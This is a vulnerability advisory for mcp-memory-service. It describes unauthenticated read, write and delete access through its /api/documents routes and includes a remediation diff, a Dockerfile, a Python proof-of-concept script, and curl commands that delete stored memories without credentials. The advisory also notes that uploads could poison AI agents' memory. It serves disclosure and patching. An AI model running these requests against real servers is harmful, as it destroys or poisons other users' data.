mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
즉시(3일 이내) 패치 — 최우선 대응
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H상세 설명
Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete
Summary
All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.
Details
The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:
src/mcp_memory_service/web/api/documents.py:33—from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks(Dependsis absent)src/mcp_memory_service/web/api/documents.py:43—router = APIRouter()(nodependencies=argument)
The affected endpoints and their data-flow sinks are:
| Route | Line (source) | Sink | Line (sink) |
|---|---|---|---|
POST /upload | 149 | storage.store(memory) | 449 |
POST /batch-upload | — | storage.store(memory) | — |
GET /history | — | upload metadata response | — |
GET /search-content/{upload_id} | 729 | memory content response | 781 |
DELETE /remove/{upload_id} | — | storage deletion | — |
DELETE /remove-by-tags | 687 | storage.delete_by_tags(tags) | 705 |
The router is mounted in src/mcp_memory_service/web/app.py:311:
1app.include_router(documents_router, prefix="/api/documents")No CORSMiddleware or authentication middleware applies to these routes at mount time.
By contrast, the equivalent write endpoint in memories.py is correctly protected:
1# src/mcp_memory_service/web/api/memories.py:136 2user: AuthenticationResult = Depends(require_write_access)This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.
PoC
Prerequisites
- Docker installed
- Repository cloned at
repo
Build and run the container
1docker build -t vuln-001-mcp-memory-poc \ 2 -f vuln-001/Dockerfile \ 3 repo 4 5docker run -d --name vuln-001-poc-container \ 6 -p 18000:8000 vuln-001-mcp-memory-poc:latestThe container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.
Execute the PoC
1python3 vuln-001/poc.py \ 2 --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345Attack chain (6 steps)
1[STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API 2[STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data 3[STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed 4[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass 5[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass 6[STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmedStep 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.
Manual curl equivalent
1# Confirm auth guard is active on /api/memories 2curl -i http://127.0.0.1:18000/api/memories 3# → 401 Unauthorized 4 5# Write through document API — no credentials 6printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt 7UPLOAD_ID=$( 8 curl -s -X POST http://127.0.0.1:18000/api/documents/upload \ 9 -F "file=@/tmp/poc.txt" -F "tags=cve-poc" |10 python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'11)12# → 200 OK13 14sleep 315curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"16# → content returned without authentication17 18# Delete by tag — no credentials19curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \20 -H "Content-Type: application/json" -d '["cve-poc"]'21# → 200 OK, memories_deleted=1Observed output
GET /api/memories(no auth) returns401— the authentication guard is demonstrably active on the memories API.POST /api/documents/upload(no auth) returns200with a validupload_id.DELETE /api/documents/remove-by-tags(no auth) returns200withmemories_deleted=1.- A subsequent authenticated
GET /api/memoriesreturnsmemories_remaining=0, confirming that legitimately stored data was destroyed by an unauthenticated request.
Remediation
Add Depends(require_write_access) / Depends(require_read_access) to every affected route in documents.py:
1--- a/src/mcp_memory_service/web/api/documents.py 2+++ b/src/mcp_memory_service/web/api/documents.py 3-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks 4+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends 5 from ..dependencies import get_storage 6+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult 7 8 async def upload_document( 9 background_tasks: BackgroundTasks,10 file: UploadFile = File(...),11+ user: AuthenticationResult = Depends(require_write_access),12 13 async def batch_upload_documents(14 background_tasks: BackgroundTasks,15 files: List[UploadFile] = File(...),16+ user: AuthenticationResult = Depends(require_write_access),17 18-async def get_upload_status(upload_id: str):19+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):20 21-async def get_upload_history():22+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):23 24-async def remove_document(upload_id: str, remove_from_memory: bool = True):25+async def remove_document(upload_id: str, remove_from_memory: bool = True,26+ user: AuthenticationResult = Depends(require_write_access)):27 28-async def remove_documents_by_tags(tags: List[str]):29+async def remove_documents_by_tags(tags: List[str],30+ user: AuthenticationResult = Depends(require_write_access)):31 32-async def search_document_content(upload_id: str, limit: int = 1000):33+async def search_document_content(upload_id: str, limit: int = 1000,34+ user: AuthenticationResult = Depends(require_read_access)):Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of mcp-memory-service.
Who is impacted: Any operator who deploys the HTTP REST server (memory server --http) with MCP_API_KEY or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.
Confidentiality: An unauthenticated attacker can read recently uploaded document content via GET /api/documents/search-content/{upload_id} and enumerate upload history via GET /api/documents/history. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.
Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).
Availability: An unauthenticated attacker can delete all memories matching any chosen tags via DELETE /api/documents/remove-by-tags, or delete individual documents via DELETE /api/documents/remove/{upload_id}, causing permanent loss of stored data.
Reproduction artifacts
Dockerfile
1FROM python:3.12-slim 2 3ENV PYTHONDONTWRITEBYTECODE=1 4ENV PYTHONUNBUFFERED=1 5ENV HF_HOME=/root/.cache/huggingface 6 7WORKDIR /app 8 9RUN apt-get update && apt-get install -y --no-install-recommends \10 build-essential \11 && rm -rf /var/lib/apt/lists/*12 13# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI14RUN pip install --no-cache-dir \15 "torch>=2.0.0" \16 --index-url https://download.pytorch.org/whl/cpu17 18# Copy and install the mcp-memory-service from the local repo19COPY . /app20RUN pip install --no-cache-dir -e .21 22# Pre-download the sentence-transformers embedding model so the container23# can run fully offline and starts quickly24RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"25 26# ── Runtime config ──────────────────────────────────────────────────────────27# MCP_API_KEY is set to simulate a production deployment where the operator28# has enabled API-key authentication. The bug is that /api/documents/* routes29# ignore this key entirely.30ENV MCP_API_KEY=poc-secret-key-1234531ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec32ENV MCP_HTTP_PORT=800033ENV MCP_HTTP_HOST=0.0.0.034ENV MCP_MDNS_ENABLED=false35ENV MCP_CONSOLIDATION_ENABLED=false36ENV MCP_BACKUP_ENABLED=false37ENV MCP_QUALITY_SYSTEM_ENABLED=false38# Prevent any outbound HuggingFace requests at runtime39ENV TRANSFORMERS_OFFLINE=140ENV HF_DATASETS_OFFLINE=141 42EXPOSE 800043 44CMD ["python", "run_server.py"]poc.py
1#!/usr/bin/env python3 2""" 3PoC – VULN-001: Missing Authentication on Document API Endpoints 4CWE-306 Missing Authentication for Critical Function 5CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) 6 7Attack chain: 8 1. GET /api/memories (no auth) → 401 (auth guard confirmed active) 9 2. POST /api/memories (with API key) → 200 (legitimate write)10 3. GET /api/memories (with API key) → 200 (data exists)11 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)12 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)13 6. GET /api/memories (with API key) → memory is GONE14 15Step 6 proves an unauthenticated attacker destroyed data created by a16legitimate, authenticated user — confirming full integrity impact.17 18Usage:19 python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]20"""21 22import sys23import time24import json25import uuid26import argparse27import http.client28 29MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()30TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"31 32 33# ─── low-level helpers ───────────────────────────────────────────────────────34 35def http_req(host, port, method, path, body=None, headers=None, timeout=20):36 conn = http.client.HTTPConnection(host, port, timeout=timeout)37 h = dict(headers or {})38 conn.request(method, path, body=body, headers=h)39 resp = conn.getresponse()40 return resp.status, resp.read().decode("utf-8", errors="replace")41 42 43def wait_ready(host, port, timeout=120):44 print(f"[*] Waiting for server at {host}:{port} …", flush=True)45 deadline = time.time() + timeout46 while time.time() < deadline:47 try:48 s, _ = http_req(host, port, "GET", "/api/health", timeout=2)49 if s == 200:50 print("[+] Server ready\n", flush=True)51 return True52 except Exception:53 pass54 time.sleep(1)55 return False56 57 58def build_multipart(boundary, filename, file_bytes, tags_str):59 b = boundary.encode()60 return b"".join([61 b"--" + b + b"\r\n",62 b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',63 b"Content-Type: /plain\r\n\r\n",64 file_bytes,65 b"\r\n--" + b + b"\r\n",66 b'Content-Disposition: form-data; name="tags"\r\n\r\n',67 tags_str.encode(),68 b"\r\n--" + b + b"--\r\n",69 ])70 71 72# ─── individual test steps ───────────────────────────────────────────────────73 74def step_memories_no_auth(host, port):75 """GET /api/memories without auth must return 401."""76 print("[STEP 1] GET /api/memories (no auth — expect 401)", flush=True)77 status, body = http_req(host, port, "GET", "/api/memories")78 ok = (status == 401)79 print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)80 return ok, status81 82 83def step_store_memory_with_auth(host, port, api_key):84 """POST /api/memories with API key — store a 'legitimate' memory."""85 print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)86 payload = json.dumps({87 "content": f"Sensitive memory — {MARKER}",88 "tags": [TARGET_TAG, "vuln001-demo"],89 "memory_type": "observation",90 "metadata": {"poc": "VULN-001"}91 }).encode()92 headers = {93 "Content-Type": "application/json",94 "Content-Length": str(len(payload)),95 "X-API-Key": api_key,96 }97 status, body = http_req(host, port, "POST", "/api/memories", payload, headers)98 ok = status in (200, 201)99 content_hash = None100 try:101 content_hash = json.loads(body).get("content_hash")102 except Exception:103 pass104 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)105 if not ok:106 print(f" body: {body[:300]}", flush=True)107 return ok, status, content_hash108 109 110def step_verify_memory_exists(host, port, api_key):111 """GET /api/memories with auth — confirm the memory is stored."""112 print("[STEP 3] GET /api/memories (with API key — confirm data exists)", flush=True)113 headers = {"X-API-Key": api_key}114 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)115 ok = status == 200116 count = 0117 try:118 data = json.loads(body)119 count = data.get("total", len(data.get("memories", [])))120 except Exception:121 pass122 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)123 return ok, status, count124 125 126def step_upload_no_auth(host, port):127 """POST /api/documents/upload without any credentials — should return 200."""128 print("[STEP 4] POST /api/documents/upload (NO auth — expect 200)", flush=True)129 boundary = "PocBoundary" + uuid.uuid4().hex130 payload = f"EVIDENCE: {MARKER}\nUploaded without authentication — VULN-001.\n".encode()131 body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")132 headers = {133 "Content-Type": f"multipart/form-data; boundary={boundary}",134 "Content-Length": str(len(body)),135 }136 status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)137 upload_id = None138 try:139 upload_id = json.loads(resp).get("upload_id")140 except Exception:141 pass142 ok = status == 200 and upload_id is not None143 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)144 if not ok:145 print(f" body: {resp[:300]}", flush=True)146 return ok, status, upload_id147 148 149def step_delete_no_auth(host, port):150 """DELETE /api/documents/remove-by-tags without auth — should return 200."""151 print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)152 # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)153 body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()154 headers = {155 "Content-Type": "application/json",156 "Content-Length": str(len(body)),157 }158 status, resp = http_req(159 host, port, "DELETE", "/api/documents/remove-by-tags",160 body=body, headers=headers161 )162 ok = status == 200163 deleted = 0164 try:165 deleted = json.loads(resp).get("memories_deleted", 0)166 except Exception:167 pass168 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)169 if not ok:170 print(f" body: {resp[:300]}", flush=True)171 return ok, status, deleted172 173 174def step_verify_memory_gone(host, port, api_key):175 """GET /api/memories with auth — confirm attacker wiped the data."""176 print("[STEP 6] GET /api/memories (with API key — verify data was deleted)", flush=True)177 headers = {"X-API-Key": api_key}178 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)179 ok = status == 200180 count = 0181 try:182 data = json.loads(body)183 count = data.get("total", len(data.get("memories", [])))184 except Exception:185 pass186 data_deleted = (ok and count == 0)187 print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)188 if data_deleted:189 print(" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!", flush=True)190 return ok, status, count191 192 193# ─── main ────────────────────────────────────────────────────────────────────194 195def main():196 ap = argparse.ArgumentParser(description="VULN-001 PoC — CWE-306 auth bypass")197 ap.add_argument("--host", default="127.0.0.1")198 ap.add_argument("--port", type=int, default=8000)199 ap.add_argument("--api-key", default="poc-secret-key-12345",200 help="API key configured on the server (simulates legitimate user)")201 args = ap.parse_args()202 203 print("=" * 65)204 print("VULN-001 Missing Authentication on Document API Endpoints")205 print("CWE-306 / CVSS 9.8 (Critical)")206 print("=" * 65 + "\n")207 208 if not wait_ready(args.host, args.port):209 print("[-] Server did not become ready", flush=True)210 sys.exit(2)211 212 r = {}213 214 # Step 1 — baseline: auth IS enforced on /api/memories215 ok1, s1 = step_memories_no_auth(args.host, args.port)216 r["step1_auth_guard_active"] = {217 "pass": ok1,218 "evidence": f"GET /api/memories (no auth) → HTTP {s1}"219 }220 221 # Step 2 — legitimate user stores a sensitive memory222 ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)223 r["step2_legitimate_write"] = {224 "pass": ok2,225 "evidence": f"POST /api/memories (with API key) → HTTP {s2}"226 }227 228 # Step 3 — confirm memory exists229 ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)230 r["step3_data_present"] = {231 "pass": ok3 and mem_count > 0,232 "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"233 }234 235 # Step 4 — attacker uploads without auth (WRITE bypass)236 ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)237 r["step4_upload_auth_bypass"] = {238 "pass": ok4,239 "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"240 }241 242 # Step 5 — attacker deletes WITHOUT auth (DELETE bypass)243 ok5, s5, deleted = step_delete_no_auth(args.host, args.port)244 r["step5_delete_auth_bypass"] = {245 "pass": ok5,246 "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"247 }248 249 # Step 6 — verify legitimate data is gone250 ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)251 r["step6_integrity_impact"] = {252 "pass": ok6 and remaining == 0,253 "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"254 }255 256 print("\n" + "=" * 65)257 print("RESULTS SUMMARY")258 print("=" * 65)259 for k, v in r.items():260 sym = "PASS" if v["pass"] else "FAIL"261 print(f" [{sym}] {v['evidence']}", flush=True)262 263 # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth264 bypass_proven = ok1 and ok4265 delete_bypass = ok1 and ok5266 267 print("\nKey evidence:")268 print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")269 print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")270 print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")271 272 overall = "PASS – auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"273 print(f"\nVerdict: {overall}")274 print("=" * 65)275 sys.exit(0 if (bypass_proven or delete_bypass) else 1)276 277 278if __name__ == "__main__":279 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.